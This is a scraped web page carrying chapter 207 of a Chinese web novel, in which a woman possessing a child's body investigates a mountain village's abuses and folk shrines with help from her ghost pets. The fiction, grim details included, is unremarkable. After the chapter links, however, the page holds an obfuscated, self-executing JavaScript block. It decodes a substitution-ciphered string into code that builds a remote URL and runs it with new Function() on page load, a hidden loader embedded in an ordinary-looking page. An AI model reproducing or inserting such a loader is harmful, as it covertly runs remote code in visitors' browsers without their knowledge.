返回

我在诡楼当包租婆

首页
关灯
护眼
字体:
第二百零七章 张萦出游记(二十二)
两个人从刚上高中起就是朋友,友情延续到大学。

在丫妈失踪后,牙母没有放弃追寻她的踪迹。她开始说是找自己的朋友,但别人一直要问她为朋友这么费心费力值不值得,被问得烦了,她就说是找表妹。

等她改口之后,这种问题就不再出现了。

她寻着踪迹找到山里来,最先到的不是小木公村,而是大木公村。她当时不是孤身一人,同行中有男有女,但是最后只有她一个人活了下来。

她虽然活了下来,但是精神不太正常,整个人每天恍恍惚惚。

那时候豁牙男还小,没什么相关记忆,大半是从他父亲那听来的,小半是在回光返照的母亲口中听到的。

牙母怎么和牙父相遇的已经不可考了,至少从豁牙男看来,他们两个人相处得还算和谐。

大小木公村会有五年一度的祭祀活动,祭拜大大小小的仙灵,所有的村民,包括女人和已经立住的小孩,都必须参加。

牙母和丫妈就是这么相遇的,这时候牙子四岁,大丫三岁。

“不是,他只比大丫大一岁的话,那他今年才十五?”听到这,夏其妙不可置信地问道。

豁牙男看起来大概有一米七,而且之前听到的说法都是他到了可以娶妻的年纪,她怎么也没想到,他比大丫大不了多少。

也许是因为她现在附身在矮个小孩身上,视角原因让她觉得他还蛮高大,以为他是成年人。

“是的,主人,这个村子里十四岁就算成年。”

听到肯定回复,夏其妙心里感慨,被这么一闹,她的恐惧也散去不少。

既然她已经打起精神,那么就好好利用时间,手和耳朵都不能闲着。

“牙子说他妈见到朋友后精神正常的时间变多,劝他父亲把家搬到小木公村。”

“他们就搬了过来,不久后牙父死了,牙母也不堪受辱,上吊自杀了。”

这么突然。

“牙父怎么死的?”

陈老大家的床腿挺长,底下空间算大,很可能放了什么东西。

夏其妙从角落里拿起一把草扎的扫帚,蹲着往底下扫,掀起一片灰尘和不知名的毛絮。

“据牙子说,他是晚上走夜路,掉进水塘子里淹死的。”

她捏着毛絮搓揉两下,分辨不出材质,将它递给X侦探:“有说他晚上为什么出去吗?”

“他不知道,”X侦探接过,放在鼻子前闻了闻,“是狐狸的味道。”

狐狸,该不会是林绛丹杀死的那只“狐仙”吧?

很有可能。

虽然这个村子是多信仰并存的地方,但是不代表是允许同类型存在的,比如神柏仙和某骼仙,只是相关范围重叠,都会被认为有正邪之分。

“为什么说牙母不堪受辱?”

“因为她是生过儿子,但死了丈夫的女人。”

在这个村子的落后认知里,生过儿子就说明她没有问题,还有可能继续生;死了丈夫就说明她没有人可以依靠,谁都能踩一脚。

“这个村子里的生不出儿子的人很多,比如陈老大,再比如那个莫老二。”

“对了,主人,我已经把那个男人处理好了。在莓宝的帮助下,我把他的皮完整地剥下来,骨头一根不差地取出来了。”

它们两只诡宠现在可是一条绳上的蚂蚱,当然是有福同享,所以它回报工作的时候,不忘给它也捎上一份。

“呀?”全程只把人固定住没付出过其他劳动的噬诡玫瑰弯了弯藤蔓,在看到边牧对它眨眼后,它分出几条蹭了上去以表亲近。

夏其妙控制住发散的思维让自己不要去想那样画面,她点了点头:“辛苦了,考虑得很周到。”

她继续在房间里翻找其他线索,X侦探继续讲。

“那些男人就会觊觎她,想借她生个儿子。”

“牙母当时想逃跑,但是没有成功,最后被抓了回来。

“即使没有成功,她也犯了村子里的禁忌。原本她的处境就已经很艰难了,这下子地位更是跌落谷底,人人可欺。”

“牙子那个时候还没成年,不被村子里的人承认,在村子里也没什么分量。”

“他在护着妈妈的时候被打落了一颗牙,这里也没有修复的条件,所以现在也还豁着。”

原来是这样。

夏其妙找到了陈老大供奉仙灵的案桌,共设有六个木牌,三大三小。

三大上面分别写着“柏仙”“稻仙”和“药仙”,三小则是“狐仙”“蛇仙”和“狼仙”。

她注视着它们陷入沉思,想到了一种可能,林绛丹当时进入这家,因打抱不平而杀死狐仙。

作为同被一家供奉的蛇仙和狼仙说不定会对此有所感应,所以“醒了过来”,撞上噬诡玫瑰,以为这只陌生诡物是入侵者,才拦住它的路。

这样一来,就说得通了。

一家小“仙”,果然就是应该死得整整齐齐的。

夏其妙伸手,挨个查看木牌找找有没有特殊之处。

“你刚才说,陈老大和牙母还有点关系,具体是什么关系?”

“陈老大一直生不出儿子,想让牙母给他生几个,他的逼迫可以说是逼死牙母的最后一根稻草。”

“牙子的牙也是被他打掉的。”

还有这层渊源。

夏其妙又从头到尾捋了一遍,发现一个人在后面的故事中隐身了:“大丫的妈妈呢,怎么听起来和牙母后来没什么交集?”

“牙子说,他母亲临死前正常一阵,只跟他说过去的事情,顺带提到了丫妈,但没有说得特别详细。”

“大丫她们很少听到自己妈妈讲过去的事情,从头到尾都不知道她和牙母有交情。”

大概是因为她一开始就编织谎言,而这谎言需要更多的谎言去圆。

夏其妙正在梳理时间线,大丫三岁时,第四个孩子应该还没出生,那时候丫妈精神应该是正常的。

两个人在这种地方再次重逢,丫妈真的会对因救她而身陷困境的朋友视而不见吗?

她对此表示怀疑。

她手上没闲着,掂了掂三块大木牌的重量,发现不对。

上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();